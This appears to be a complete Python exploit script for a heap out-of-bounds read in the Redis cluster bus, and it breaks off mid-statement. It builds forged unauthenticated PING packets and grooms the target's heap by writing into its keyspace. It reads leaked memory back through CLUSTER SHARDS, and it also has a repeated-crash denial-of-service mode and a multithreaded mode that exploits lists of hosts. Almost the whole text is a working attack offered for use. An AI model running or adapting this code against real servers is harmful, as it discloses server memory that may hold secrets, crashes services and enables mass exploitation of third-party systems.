📄 Redis 8.8.1 Heap Out-Of-Bounds Read

#!/usr/bin/env python3
    """
    CVE-2026-72568 - Redis cluster bus PING hostname extension heap out-of-bounds read
    Affected: Redis, all versions up to and including 8.8.1 (fixed in 8.10.0)
    Type: Out-of-bounds read (information disclosure + denial of service)
    
    The cluster bus accepts PING/PONG/MEET packets carrying variable length
    extensions. The receiver validates that an extension's declared length is a
    multiple of 8 and that the declared lengths fit inside the packet, but it never
    inspects the extension contents. A hostname extension is documented as a NUL
    terminated C string and is consumed as one by strcmp() and sdscpy() inside
    updateAnnouncedHostname(). An extension whose payload contains no NUL byte makes
    both walk off the end of the receive buffer until they find a zero byte
    somewhere else in the heap, and every byte walked over is copied into the node's
    announced hostname, which CLUSTER NODES / CLUSTER SLOTS / CLUSTER SHARDS return
    verbatim to any client.
    
    The exploit shapes the receive buffer allocation with split TCP writes so the
    crafted packet ends exactly on the last byte of its own heap region, which turns
    the read into a true past-the-allocation over-read rather than a read into the
    slack of an oversized buffer.
    
    No authentication is involved: the cluster bus has no authentication step and
    requirepass/ACLs do not apply to it.
    
    Usage:
      python exploit.py --host <target> --port <redis client port>
      python exploit.py --host 192.168.1.10 --port 6379
      python exploit.py --host 192.168.1.10 --port 7000 --bus-port 17000
      python exploit.py --host rediss://192.168.1.10:6379 --tls
      python exploit.py --host 192.168.1.10 --dos
      python exploit.py --list targets.txt --workers 20
    
    Notes:
      - --port is the Redis client port (used for recon and to read the leak back).
        The cluster bus port defaults to client port + 10000, override with
        --bus-port when the target sets cluster-port.
      - The target must run with cluster-enabled yes and must already know at least
        one node besides the one being talked to.
    """
    
    from __future__ import annotations
    
    import argparse
    import random
    import re
    import socket
    import string
    import struct
    import sys
    import time
    from urllib.parse import urlparse
    
    CVE_ID = "CVE-2026-72568"
    VULN_TYPE = "OOB read (info disclosure + DoS)"
    
    # Wire constants, from the cluster bus message layout.
    HDR_LEN = 2256          # sizeof(clusterMsg) - sizeof(union clusterMsgData)
    EXT_HDR_LEN = 8         # sizeof(clusterMsgPingExt): length + type + padding
    MSG_TYPE_PING = 0
    EXT_TYPE_HOSTNAME = 0
    FLAG0_EXT_DATA = 0x04
    
    # Receiver buffer geometry, used to shape the allocation.
    RCVBUF_INIT_LEN = 1024
    
    DEFAULT_PACKET_SIZE = 2560   # a natural allocator size class, see _split_writes
    BUS_PORT_OFFSET = 10000
    
    
    def header(host: str, port: int) -> None:
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    
    def step(n: int, msg: str) -> None:
        print(f"[STEP {n}] {msg}")
    
    
    def section(label: str, content: str) -> None:
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success: bool, evidence: str) -> None:
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    # --------------------------------------------------------------------------
    # Minimal RESP client
    # --------------------------------------------------------------------------
    
    class RedisError(Exception):
        pass
    
    
    class ConnectionLost(RedisError):
        """The server went away mid-conversation, which on this CVE is a signal."""
    
    
    def _connect(host: str, port: int, use_tls: bool, timeout: float) -> socket.socket:
        sock = socket.create_connection((host, port), timeout=timeout)
        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
        if use_tls:
            import ssl
            ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            sock = ctx.wrap_socket(sock, server_hostname=host)
        return sock
    
    
    class Redis:
        """Just enough RESP2 to run recon commands and read length prefixed replies.
    
        Reading the leak back needs exact byte boundaries: the disclosed bytes are
        arbitrary heap contents and routinely contain spaces and newlines, which
        destroy the field structure of the CLUSTER NODES text reply. CLUSTER SHARDS
        returns the same string as a length prefixed bulk string, so it is the
        channel used for measurement.
        """
    
        def __init__(self, host: str, port: int, use_tls: bool = False, timeout: float = 8.0):
            self.sock = _connect(host, port, use_tls, timeout)
            self.buf = b""
    
        def close(self) -> None:
            try:
                self.sock.close()
            except OSError:
                pass
    
        @staticmethod
        def encode(args) -> bytes:
            out = b"*%d\r\n" % len(args)
            for a in args:
                if isinstance(a, str):
                    a = a.encode()
                elif isinstance(a, int):
                    a = str(a).encode()
                out += b"$%d\r\n%s\r\n" % (len(a), a)
            return out
    
        def _fill(self) -> None:
            chunk = self.sock.recv(65536)
            if not chunk:
                raise ConnectionLost("connection closed by server")
            self.buf += chunk
    
        def _line(self) -> bytes:
            while b"\r\n" not in self.buf:
                self._fill()
            line, self.buf = self.buf.split(b"\r\n", 1)
            return line
    
        def _take(self, n: int) -> bytes:
            while len(self.buf) < n + 2:
                self._fill()
            data = self.buf[:n]
            self.buf = self.buf[n + 2:]
            return data
    
        def _parse(self):
            line = self._line()
            kind, rest = line[:1], line[1:]
            if kind in (b"+", b"#", b",", b"("):
                return rest
            if kind == b"-":
                raise RedisError(rest.decode("utf-8", "replace"))
            if kind == b":":
                return int(rest)
            if kind == b"_":
                return None
            if kind in (b"$", b"=", b"!"):
                n = int(rest)
                if n < 0:
                    return None
                data = self._take(n)
                if kind == b"!":
                    raise RedisError(data.decode("utf-8", "replace"))
                return data
            if kind in (b"*", b"~", b">"):
                n = int(rest)
                if n < 0:
                    return None
                return [self._parse() for _ in range(n)]
            if kind == b"%":
                n = int(rest)
                out = []
                for _ in range(n * 2):
                    out.append(self._parse())
                return out
            raise RedisError(f"unexpected reply type {kind!r}")
    
        def cmd(self, *args):
            self.sock.sendall(self.encode(args))
            return self._parse()
    
        def pipeline(self, commands) -> list:
            """Send many commands, then collect all replies. Errors are returned."""
            payload = b"".join(self.encode(c) for c in commands)
            self.sock.sendall(payload)
            replies = []
            for _ in commands:
                try:
                    replies.append(self._parse())
                except RedisError as exc:
                    replies.append(exc)
            return replies
    
    
    def _flatten_map(items) -> dict:
        """RESP2 renders maps as flat [k1, v1, k2, v2, ...] arrays."""
        return dict(zip(items[0::2], items[1::2]))
    
    
    # --------------------------------------------------------------------------
    # Cluster key slot maths, used to place groom keys on the target node
    # --------------------------------------------------------------------------
    
    def crc16(data: bytes) -> int:
        """CRC-16/XMODEM, the function Redis uses for key hashing."""
        crc = 0
        for byte in data:
            crc ^= byte << 8
            for _ in range(8):
                if crc & 0x8000:
                    crc = ((crc << 1) ^ 0x1021) & 0xFFFF
                else:
                    crc = (crc << 1) & 0xFFFF
        return crc
    
    
    def key_slot(key: bytes) -> int:
        start = key.find(b"{")
        if start >= 0:
            end = key.find(b"}", start + 1)
            if end > start + 1:
                key = key[start + 1:end]
        return crc16(key) % 16384
    
    
    def find_tag_for_range(slot_start: int, slot_end: int, limit: int = 200000):
        """Return a hash tag whose slot lands in the given range, or None."""
        for i in range(limit):
            tag = ("%x" % i).encode()
            if slot_start <= key_slot(b"{" + tag + b"}") <= slot_end:
                return tag
        return None
    
    
    # --------------------------------------------------------------------------
    # Recon
    # --------------------------------------------------------------------------
    
    _NODE_RE = re.compile(rb"(?:\A|\n)([0-9a-f]{40}) ([^\s@]+)@(\d+)")
    
    
    class Target:
        """Everything the forged packet and the read-back need."""
    
        def __init__(self):
            self.myid = b""
            self.victim = b""          # node id to spoof as sender
            self.ip = ""
            self.port = 0
            self.cport = 0
            self.master = None         # victim's master id, when it is a replica
            self.health = b"unknown"
            self.my_slots = None       # (start, end) owned by the node we talk to
    
    
    def recon(conn: Redis, forced_node: bytes = b"") -> Target:
        """Pick a node id the target already knows, and learn how it describes it.
    
        The extension block is only consumed when the packet's sender field resolves
        to a known node, so a random id gets the whole extension skipped. A node that
        is in the table but has no live process behind it is the best choice: a live
        node would clear the injected hostname on its next gossip round.
        """
        tgt = Target()
        tgt.myid = conn.cmd("CLUSTER", "MYID")
        if isinstance(tgt.myid, str):
            tgt.myid = tgt.myid.encode()
    
        nodes_raw = conn.cmd("CLUSTER", "NODES") or b""
        addrs = {}
        for match in _NODE_RE.finditer(nodes_raw):
            node_id, addr, cport = match.group(1), match.group(2), int(match.group(3))
            if b":" not in addr:
                continue
            ip, port = addr.rsplit(b":", 1)
            try:
                addrs[node_id] = (ip.decode("utf-8", "replace"), int(port), cport)
            except ValueError:
                continue
        if not addrs:
            raise RedisError("no nodes parsed from CLUSTER NODES (is cluster mode on?)")
    
        # CLUSTER SHARDS gives role, health and slot ownership without any text
        # parsing. It is optional: on a server too old to have it, fall back to
        # picking any known node other than ourselves.
        health = {}
        role = {}
        master_of = {}
        try:
            for shard in conn.cmd("CLUSTER", "SHARDS") or []:
                smap = _flatten_map(shard)
                slots = smap.get(b"slots") or []
                members = [_flatten_map(n) for n in (smap.get(b"nodes") or [])]
                master_id = None
                for node in members:
                    if node.get(b"role") in (b"master", b"primary"):
                        master_id = node.get(b"id")
                for node in members:
                    nid = node.get(b"id")
                    health[nid] = node.get(b"health", b"unknown")
                    role[nid] = node.get(b"role", b"unknown")
                    if nid != master_id:
                        master_of[nid] = master_id
                    if nid == tgt.myid and len(slots) >= 2:
                        tgt.my_slots = (int(slots[0]), int(slots[1]))
        except RedisError:
            pass
    
        candidates = [nid for nid in addrs if nid != tgt.myid]
        if not candidates:
            raise RedisError("target knows no node other than itself; "
                             "a single node cluster cannot be used")
    
        if forced_node:
            if forced_node not in addrs:
                raise RedisError(f"node {forced_node.decode()} is not in the node table")
            chosen = forced_node
        else:
            # Prefer a node with no live process, then a replica, then anything.
            ranked = sorted(
                candidates,
                key=lambda nid: (
                    health.get(nid, b"unknown") == b"online",
                    role.get(nid, b"") in (b"master", b"primary"),
                ),
            )
            chosen = ranked[0]
    
        tgt.victim = chosen
        tgt.ip, tgt.port, tgt.cport = addrs[chosen]
        tgt.master = master_of.get(chosen)
        tgt.health = health.get(chosen, b"unknown")
        return tgt
    
    
    # --------------------------------------------------------------------------
    # Packet construction
    # --------------------------------------------------------------------------
    
    def build_packet(tgt: Target, payload: bytes) -> bytes:
        """Assemble one PING carrying a hostname extension with no NUL byte.
    
        Every multi-byte field is big-endian. The header is built by offset because
        it is a fixed 2256-byte layout of which myslots alone is 2048 bytes.
    
        port, cport and myip mirror what the target already believes about the
        spoofed node so nodeUpdateAddressIfNeeded() early-returns instead of
        rewriting that node's address. slaveof carries the spoofed node's real
        master when it is a replica, so the packet does not reshuffle roles either.
        """
        if b"\x00" in payload:
            raise ValueError("payload must not contain a NUL byte, that is the bug")
    
        extlen = EXT_HDR_LEN + len(payload)
        if extlen % 8 != 0:
            raise ValueError("extension length must be a multiple of 8")
        totlen = HDR_LEN + extlen
    
        hdr = bytearray(HDR_LEN)
        hdr[0:4] = b"RCmb"                                  # sig
        struct.pack_into("!I", hdr, 4, totlen)              # totlen
        struct.pack_into("!H", hdr, 8, 1)                   # ver
        struct.pack_into("!H", hdr, 10, tgt.port)           # spoofed node client port
        struct.pack_into("!H", hdr, 12, MSG_TYPE_PING)      # type
        struct.pack_into("!H", hdr, 14, 0)                  # count = 0, ext starts at 2256
        # currentEpoch / configEpoch / offset stay zero
        hdr[40:80] = tgt.victim[:40].ljust(40, b"\x00")     # sender
        # myslots 80..2128 stays zero: claiming no slots keeps the packet inert
        if tgt.master:
            hdr[2128:2168] = tgt.master[:40].ljust(40, b"\x00")   # slaveof
        ipb = tgt.ip.encode()[:45]
        hdr[2168:2168 + len(ipb)] = ipb                     # myip, NUL padded to 46
        struct.pack_into("!H", hdr, 2214, 1)                # extensions = 1
        struct.pack_into("!H", hdr, 2246, 0)                # pport
        struct.pack_into("!H", hdr, 2248, tgt.cport)        # cport
        struct.pack_into("!H", hdr, 2250, 0 if tgt.master else 1)  # flags: slave / master
        hdr[2252] = 0                                       # state
        hdr[2253] = FLAG0_EXT_DATA                          # mflags[0]
    
        ext = bytearray(EXT_HDR_LEN)
        struct.pack_into("!I", ext, 0, extlen)              # extension length
        struct.pack_into("!H", ext, 4, EXT_TYPE_HOSTNAME)   # extension type
        return bytes(hdr) + bytes(ext) + payload
    
    
    def _split_writes(pkt: bytes):
        """Split a packet so the receive buffer ends up exactly packet sized.
    
        The reader consumes 8 bytes first to learn totlen, then grows its buffer to
        twice whatever it needs on the read that overflows it, starting from 1024
        bytes. Writing 8, then totlen/2 - 8, then totlen/2 makes the final
        allocation exactly totlen, so the last payload byte sits on the last byte of
        the heap region and the strlen walk steps straight out of it.
    
        Returns None when the size cannot be shaped, and the caller sends in one go.
        """
        total = len(pkt)
        if total % 2 or total <= 2 * RCVBUF_INIT_LEN:
            return None
        middle = total // 2 - 8
        if middle <= 0 or 8 + middle <= RCVBUF_INIT_LEN:
            return None
        return [pkt[:8], pkt[8:8 + middle], pkt[8 + middle:]]
    
    
    def send_packet(host: str, bus_port: int, use_tls: bool, pkt: bytes,
                    shape: bool = True, delay: float = 0.15,
                    timeout: float = 8.0) -> str:
        """Deliver one packet to the cluster bus. Returns a short transport note.
    
        The bus speaks the binary format immediately, with no handshake and no
        authentication. The target answers a PING with a PONG on the same link, so
        the reply is drained and doubles as a liveness signal.
        """
        sock = _connect(host, bus_port, use_tls, timeout)
        try:
            chunks = _split_writes(pkt) if shape else None
            if chunks:
                for i, chunk in enumerate(chunks):
                    sock.sendall(chunk)
                    if i < len(chunks) - 1:
                        time.sleep(delay)
                note = "shaped: %s bytes" % "/".join(str(len(c)) for c in chunks)
            else:
                sock.sendall(pkt)
                note = "single write: %d bytes" % len(pkt)
    
            time.sleep(0.4)
            sock.settimeout(2.0)
            try:
                reply = sock.recv(65536)
                note += ", PONG received" if reply else ", link closed by peer"
            except socket.timeout:
                note += ", no reply"
            except OSError as exc:
                note += f", link error ({exc.__class__.__name__})"
            return note
        finally:
            try:
                sock.close()
            except OSError:
                pass
    
    
    # --------------------------------------------------------------------------
    # Read-back and heap grooming
    # --------------------------------------------------------------------------
    
    def read_hostname(conn: Redis, node_id: bytes):
        """Return the announced hostname the target holds for a node, or None.
    
        CLUSTER SHARDS returns it as a length prefixed bulk string, so the exact
        byte count survives even when the leaked bytes contain whitespace.
        """
        try:
            shards = conn.cmd("CLUSTER", "SHARDS") or []
        except ConnectionLost:
            raise
        except RedisError:
            return None
        for shard in shards:
            smap = _flatten_map(shard)
            for node in (smap.get(b"nodes") or []):
                nmap = _flatten_map(node)
                if nmap.get(b"id") == node_id:
                    return nmap.get(b"hostname")
        return None
    
    
    def groom_heap(conn: Redis, tgt: Target, marker: bytes, region: int,
                   count: int, stride: int = 8) -> str:
        """Seed the size class the receive buffer will request, then punch holes in it.
    
        The crafted packet's buffer is realloc'd to exactly `region` bytes, so values
        that request the same size land in the same allocator size class and slab.
        A Redis string value of length L occupies a 5 byte sds header, L bytes and a
        trailing NUL, so L = region - 6 requests exactly `region` bytes.
    
        Only every `stride`-th value is deleted. Freeing all of them is actively
        counterproductive: whole slabs empty out, the allocator purges the pages, and
        the packet then lands next to freshly zeroed memory, so the over-read stops
        immediately. Punching sparse holes instead leaves the freed region flanked by
        live values, so the read runs straight into the contents of another key and
        stops on that value's own trailing NUL. That bounds the leak instead of
        letting it run until it finds a zero byte or an unmapped page.
        """
        if tgt.my_slots is None:
            return "skipped: the node being talked to owns no slots", []
    
        tag = find_tag_for_range(tgt.my_slots[0], tgt.my_slots[1])
        if tag is None:
            return "skipped: no hash tag found for the node's slot range", []
    
        value_len = region - 6
        if value_len < 64:
            return "skipped: packet size too small to groom", []
        value = (marker * (value_len // len(marker) + 1))[:value_len]
    
        keys = [b"{" + tag + b"}:" + str(i).encode() for i in range(count)]
        written = 0
        for i in range(0, len(keys), 128):
            batch = keys[i:i + 128]
            replies = conn.pipeline([("SET", k, value) for k in batch])
            written += sum(1 for r in replies if not isinstance(r, RedisError))
        if written == 0:
            return "skipped: writes rejected (read-only replica or auth required)", []
    
        holes = keys[::stride]
        freed = 0
        for i in range(0, len(holes), 128):
            batch = holes[i:i + 128]
            try:
                reply = conn.cmd("DEL", *batch)
                freed += reply if isinstance(reply, int) else 0
            except RedisError:
                pass
        note = (f"{written} values of {value_len} bytes written to slot "
                f"{key_slot(b'{' + tag + b'}')}, {freed} freed to leave holes "
                f"flanked by live values")
        return note, [k for k in keys if k not in set(holes)]
    
    
    def cleanup_groom(conn: Redis, keys) -> int:
        """Remove the values left behind by grooming."""
        removed = 0
        for i in range(0, len(keys), 128):
            try:
                reply = conn.cmd("DEL", *keys[i:i + 128])
                removed += reply if isinstance(reply, int) else 0
            except (RedisError, OSError):
                break
        return removed
    
    
    def _clear_packet(tgt: Target) -> bytes:
        """A hostname extension whose payload is a terminated empty string.
    
        Built directly rather than through build_packet, which refuses NUL bytes on
        purpose. Sending this restores the spoofed node's hostname to empty.
        """
        extlen = EXT_HDR_LEN + 8
        totlen = HDR_LEN + extlen
        hdr = bytearray(HDR_LEN)
        hdr[0:4] = b"RCmb"
        struct.pack_into("!I", hdr, 4, totlen)
        struct.pack_into("!H", hdr, 8, 1)
        struct.pack_into("!H", hdr, 10, tgt.port)
        struct.pack_into("!H", hdr, 12, MSG_TYPE_PING)
        struct.pack_into("!H", hdr, 14, 0)
        hdr[40:80] = tgt.victim[:40].ljust(40, b"\x00")
        if tgt.master:
            hdr[2128:2168] = tgt.master[:40].ljust(40, b"\x00")
        ipb = tgt.ip.encode()[:45]
        hdr[2168:2168 + len(ipb)] = ipb
        struct.pack_into("!H", hdr, 2214, 1)
        struct.pack_into("!H", hdr, 2246, 0)
        struct.pack_into("!H", hdr, 2248, tgt.cport)
        struct.pack_into("!H", hdr, 2250, 0 if tgt.master else 1)
        hdr[2252] = 0
        hdr[2253] = FLAG0_EXT_DATA
        ext = bytearray(EXT_HDR_LEN)
        struct.pack_into("!I", ext, 0, extlen)
        struct.pack_into("!H", ext, 4, EXT_TYPE_HOSTNAME)
        return bytes(hdr) + bytes(ext) + b"\x00" * 8
    
    
    # --------------------------------------------------------------------------
    # Presentation helpers
    # --------------------------------------------------------------------------
    
    def hexdump(data: bytes, limit: int = 512, base: int = 0) -> str:
        out = []
        view = data[:limit]
        for off in range(0, len(view), 16):
            chunk = view[off:off + 16]
            hexpart = " ".join("%02x" % b for b in chunk).ljust(47)
            text = "".join(chr(b) if 32 <= b < 127 else "." for b in chunk)
            out.append("%08x  %s  |%s|" % (base + off, hexpart, text))
        if len(data) > limit:
            out.append("... %d more bytes" % (len(data) - limit))
        return "\n".join(out)
    
    
    def rand_marker(n: int = 16) -> bytes:
        alphabet = string.ascii_lowercase + string.digits
        return "".join(random.choice(alphabet) for _ in range(n)).encode()
    
    
    def make_payload(size: int, marker: bytes) -> bytes:
        """A NUL free payload that is recognisable in a heap dump."""
        return (marker * (size // len(marker) + 1))[:size]
    
    
    def is_alive(host: str, port: int, use_tls: bool, timeout: float = 3.0) -> bool:
        """Client-side liveness check.
    
        A completed TCP handshake is not enough: anything proxying or load
        balancing the port will accept the connection and only then discover the
        backend is gone, so a dead server still looks reachable. The service counts
        as alive only when it actually answers.
        """
        conn = None
        try:
            conn = Redis(host, port, use_tls, timeout)
            conn.cmd("PING")
            return True
        except ConnectionLost:
            return False         # accepted, then closed without a reply
        except RedisError:
            return True          # an error reply (NOAUTH and friends) is still a reply
        except OSError:
            return False
        finally:
            if conn is not None:
                conn.close()
    
    
    # --------------------------------------------------------------------------
    # Silent probe for scan mode
    # --------------------------------------------------------------------------
    
    def _try_exploit(host: str, port: int, use_tls: bool = False,
                     bus_port: int = 0, packet_size: int = DEFAULT_PACKET_SIZE,
                     timeout: float = 6.0):
        """Silent probe. Returns (success, evidence). Never prints, never exits.
    
        No heap grooming here: a scan should not write to every host it touches.
        """
        conn = None
        try:
            bus = bus_port or (port + BUS_PORT_OFFSET)
            conn = Redis(host, port, use_tls, timeout)
            tgt = recon(conn)
    
            payload_size = packet_size - HDR_LEN - EXT_HDR_LEN
            marker = rand_marker()
            payload = make_payload(payload_size, marker)
            pkt = build_packet(tgt, payload)
    
            send_packet(host, bus, use_tls, pkt, shape=True, timeout=timeout)
            time.sleep(0.3)
    
            try:
                leaked = read_hostname(conn, tgt.victim)
            except (ConnectionLost, OSError):
                leaked = None
            if not leaked:
                if not is_alive(host, port, use_tls, timeout=timeout):
                    return True, "service crashed on the crafted packet (DoS)"
                return False, "hostname extension rejected (patched)"
            if not leaked.startswith(payload[:32]):
                return False, "hostname present but not ours (stale value)"
            if len(leaked) > len(payload):
                extra = len(leaked) - len(payload)
                return True, (f"{extra} heap bytes past the packet disclosed via "
                              f"node {tgt.victim.decode()[:8]}")
            return True, ("unterminated hostname extension accepted "
                          "(no over-read observed this attempt)")
        except (OSError, RedisError, ValueError) as exc:
            return False, f"unreachable ({exc.__class__.__name__})"
        finally:
            if conn is not None:
                conn.close()
    
    
    def _parse_target(line: str, default_port: int, default_path: str = "/"):
        """Parse one line into (host, port, use_tls, path). Returns None to skip."""
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("redis://", "rediss://")):
            line = line.replace("rediss://", "https://", 1).replace("redis://", "http://", 1)
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file: str, default_port: int, workers: int = 10,
             bus_port: int = 0, packet_size: int = DEFAULT_PACKET_SIZE,
             timeout: float = 6.0) -> None:
        """Batch scan from file."""
        import concurrent.futures
    
        with open(targets_file) as fh:
            targets = [_parse_target(l, default_port) for l in fh]
        targets = [t for t in targets if t is not None]
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
        print(f"{'='*60}\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, _ = t
            label = f"{host}:{port}"
            ok, evidence = _try_exploit(host, port, use_tls, bus_port=bus_port,
                                        packet_size=packet_size, timeout=timeout)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print(f"  {'[+]' if ok else '[-]'} {label} - "
                      f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
                if ok:
                    success_count += 1
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {success_count} exploited / "
              f"{total - success_count} not vulnerable  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    # --------------------------------------------------------------------------
    # Denial of service path
    # --------------------------------------------------------------------------
    
    def run_dos(host: str, port: int, bus_port: int, use_tls: bool, tgt: Target,
                packet_size: int, rounds: int, timeout: float) -> None:
        payload_size = packet_size - HDR_LEN - EXT_HDR_LEN
        step(5, f"Availability: repeating the past-the-allocation read up to "
                f"{rounds} times, checking the client port between rounds")
    
        for attempt in range(1, rounds + 1):
            payload = make_payload(payload_size, rand_marker())
            pkt = build_packet(tgt, payload)
            try:
                note = send_packet(host, bus_port, use_tls, pkt, shape=True,
                                   timeout=timeout)
            except OSError as exc:
                note = f"bus link error ({exc.__class__.__name__})"
    
            alive = is_alive(host, port, use_tls)
            print(f"  round {attempt:2d}: {note} | client port "
                  f"{'responding' if alive else 'DEAD'}")
            if not alive:
                time.sleep(1.0)
                if not is_alive(host, port, use_tls, timeout=4.0):
                    section("SERVICE STATE",
                            f"No reply on {host}:{port} after {attempt} shaped "
                            f"over-read packets. The strlen walk left the mapped "
                            f"region and terminated the process.")
                    done(True, f"CRASH CONFIRMED - service stopped answering after "
                               f"{attempt} crafted PING packets")
        section("SERVICE STATE",
                f"Service still responding after {rounds} rounds. The over-read "
                f"found a zero byte inside mapped memory every time; the "
                f"disclosure primitive is unaffected.")
        done(False, f"No crash within {rounds} rounds (the read stayed inside "
                    f"mapped memory); disclosure path is the reliable primitive")
    
    
    # --------------------------------------------------------------------------
    # Main exploit
    # --------------------------------------------------------------------------
    
    def exploit(host: str, port: int, use_tls: bool, bus_port: int = 0,
                packet_size: int = DEFAULT_PACKET_SIZE, retries: int = 4,
                groom: bool = True, groom_count: int = 512, node_id: bytes = b"",
                dos: bool = False, dos_rounds: int = 20, restore: bool = False,
                timeout: float = 8.0) -> None:
        header(host, port)
    
        bus = bus_port or (port + BUS_PORT_OFFSET)
        payload_size = packet_size - HDR_LEN - EXT_HDR_LEN
        if payload_size <= 0 or packet_size % 8:
            done(False, f"packet size {packet_size} is unusable: it must be a "
                        f"multiple of 8 and larger than {HDR_LEN + EXT_HDR_LEN}")
    
        step(1, f"Recon on the client port {host}:{port}")
        try:
            conn = Redis(host, port, use_tls, timeout)
        except OSError as exc:
            done(False, f"cannot reach the client port ({exc.__class__.__name__})")
    
        try:
            tgt = recon(conn, node_id)
        except (RedisError, OSError) as exc:
            conn.close()
            done(False, f"recon failed: {exc}")
    
        role = "replica" if tgt.master else "master"
        print(f"  spoofing node {tgt.victim.decode()}")
        print(f"    address {tgt.ip}:{tgt.port}@{tgt.cport}  role {role}  "
              f"health {tgt.health.decode('utf-8', 'replace')}")
        if tgt.health == b"online":
            print("    note: this node looks live, it may overwrite the injected "
                  "hostname on its next gossip round")
        print(f"  cluster bus port {bus}")
    
        groom_marker = rand_marker()
        groom_keys = []
        if groom:
            step(2, f"Grooming the {packet_size}-byte allocation class with a "
                    f"recognisable pattern")
            try:
                note, groom_keys = groom_heap(conn, tgt, groom_marker, packet_size,
                                              groom_count)
            except (RedisError, OSError) as exc:
                note = f"skipped: {exc.__class__.__name__}"
            print(f"  {note}")
            if note.startswith("skipped"):
                groom = False
            else:
                print(f"  seeded regions carry the pattern {groom_marker.decode()}")
        else:
            step(2, "Heap grooming disabled")
    
        step(3, f"Sending a crafted PING to the cluster bus "
                f"({packet_size} bytes, hostname extension of {payload_size} "
                f"bytes with no NUL terminator)")
    
        leaked = b""
        payload = b""
        transport = ""
        for attempt in range(1, retries + 1):
            payload = make_payload(payload_size, rand_marker())
            pkt = build_packet(tgt, payload)
            try:
                transport = send_packet(host, bus, use_tls, pkt, shape=True,
                                        timeout=timeout)
            except OSError as exc:
                conn.close()
                done(False, f"cannot reach the cluster bus port {bus} "
                            f"({exc.__class__.__name__})")
            time.sleep(0.4)
    
            crashed = False
            try:
                found = read_hostname(conn, tgt.victim)
            except (ConnectionLost, OSError):
                found, crashed = None, True
    
            print(f"  attempt {attempt}: {transport} | announced hostname "
                  f"{'absent' if not found else str(len(found)) + ' bytes'} "
                  f"(payload sent: {payload_size} bytes)")
    
            # An absent hostname has two very different causes: the extension was
            # rejected (patched), or the read walked off the mapped region and took
            # the process with it. Only the client port can tell them apart.
            if not found and (crashed or "closed" in transport or "error" in transport):
                if not is_alive(host, port, use_tls):
                    conn.close()
                    section("SERVICE STATE",
                            f"No reply on {host}:{port} after attempt {attempt}. "
                            f"The unbounded strlen walk left the mapped region and "
                            f"terminated the process, which is the availability "
                            f"half of this bug.")
                    done(True, f"CRASH CONFIRMED - service stopped answering after "
                               f"{attempt} crafted PING packet(s)")
                try:
                    conn = Redis(host, port, use_tls, timeout)
                except OSError:
                    pass
    
            if found and found.startswith(payload[:32]):
                leaked = found
                if len(found) > payload_size:
                    break
            # A hostname exactly as long as the payload means a zero byte happened
            # to sit right behind the packet on this attempt. Retry with different
            # content: an identical payload would be skipped by the strcmp guard in
            # updateAnnouncedHostname anyway.
    
        if groom_keys:
            step(4, "Removing the groom values from the target keyspace")
            print(f"  {cleanup_groom(conn, groom_keys)} deleted")
    
        if not leaked:
            if not is_alive(host, port, use_tls):
                conn.close()
                section("SERVICE STATE",
                        f"No reply on {host}:{port} after {retries} crafted packets.")
                done(True, f"CRASH CONFIRMED - service stopped answering after "
                           f"{retries} crafted PING packets")
            section("TARGET RESPONSE",
                    "The spoofed node has no announced hostname after "
                    f"{retries} crafted packets, and the service is still up. A "
                    "build carrying the fix rejects the extension before it is "
                    "consumed and logs a missing null terminator warning.")
            conn.close()
            done(False, "unterminated hostname extension was not accepted - "
                        "target is patched, or the sender id is not known to it")
    
        over_read = len(leaked) - payload_size
        disclosed = leaked[payload_size:]
    
        section("LEAKED HEAP BYTES",
                f"announced hostname length : {len(leaked)} bytes\n"
                f"bytes actually sent       : {payload_size}\n"
                f"bytes never sent on the wire (read past the packet): {over_read}\n\n"
                + hexdump(disclosed, 512, base=payload_size))
    
        if groom and groom_marker in disclosed:
            pos = disclosed.find(groom_marker)
            section("GROOMED PATTERN RECOVERED",
                    f"the pattern stored in the target's own keyspace reappears "
                    f"{pos} bytes past the end of the packet. The disclosed bytes "
                    f"are the contents of a neighbouring heap region, not anything "
                    f"the exploit put on the wire:\n\n"
                    + hexdump(disclosed[pos:], 128, base=payload_size + pos))
    
        if over_read <= 0:
            conn.close()
            done(True, "unterminated hostname extension accepted and echoed back "
                       "(a patched build rejects it); no over-read observed in "
                       f"{retries} attempts")
    
        if dos:
            conn.close()
            run_dos(host, port, bus, use_tls, tgt, packet_size, dos_rounds, timeout)
    
        if restore:
            step(5, "Restoring the spoofed node's hostname to empty")
            try:
                send_packet(host, bus, use_tls, _clear_packet(tgt), shape=False,
                            timeout=timeout)
                time.sleep(0.4)
                left = read_hostname(conn, tgt.victim)
                print(f"  hostname now {'empty' if not left else str(len(left)) + ' bytes'}")
            except (OSError, RedisError) as exc:
                print(f"  restore failed ({exc.__class__.__name__})")
    
        conn.close()
        preview = disclosed[:32].decode("utf-8", "replace").replace("\n", " ")
        done(True, f"{over_read} bytes of heap memory past the packet disclosed "
